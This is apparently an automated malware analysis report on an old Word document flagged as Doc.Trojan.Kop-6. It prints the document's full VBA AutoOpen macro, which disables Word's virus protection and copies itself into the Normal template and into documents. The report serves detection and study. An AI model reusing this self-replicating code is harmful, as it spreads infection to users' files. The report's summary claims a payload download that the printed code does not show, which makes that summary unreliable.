Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f8bc3d86ee5415cc…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-07-05 12:34:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 619cf6458dd457a3c6f7314c5c714000 SHA-1: 8adefba109cc40817162a39fb930f0429610b4b6 SHA-256: f8bc3d86ee5415cce9c7cb29ff45683aab3338c180bb24b608964a3cd2f308c6
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a VBA macro named 'AutoOpen'. This macro is designed to export itself to 'c:\KOPIEREN.vxd' and then re-import it, which is a common technique for obfuscating malicious code or preparing for second-stage execution. The ClamAV detection 'Doc.Trojan.Kop-6' further supports its malicious nature. The macro's actions suggest an attempt to download and execute a payload, though the specific payload is not directly observable.

Heuristics 4

  • ClamAV: Doc.Trojan.Kop-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Kop-6
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1004 bytes
SHA-256: a55a11dafc480247cb27e022d942a075dc71c87984f73d642bbe2df75bc675e8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "KOPIEREN"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
If NormalTemplate.VBProject.VBComponents.Item("KOPIEREN").Name <> "KOPIEREN" Then
ActiveDocument.VBProject.VBComponents("kopieren").Export "c:\KOPIEREN.vxd"
Set KOP = NormalTemplate.VBProject
NotInNorm = True
ElseIf ActiveDocument.VBProject.VBComponents.Item("KOPIEREN").Name <> "KOPIEREN" Then
NormalTemplate.VBProject.VBComponents("kopieren").Export "c:\kopieren.vxd"
Set KOP = ActiveDocument.VBProject
NotInActiv = True
End If
If NotInNorm = True Or NotInActiv = True Then KOP.VBComponents.Import ("c:\KOPIEREN.vxd")
If NotInActiv = True Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub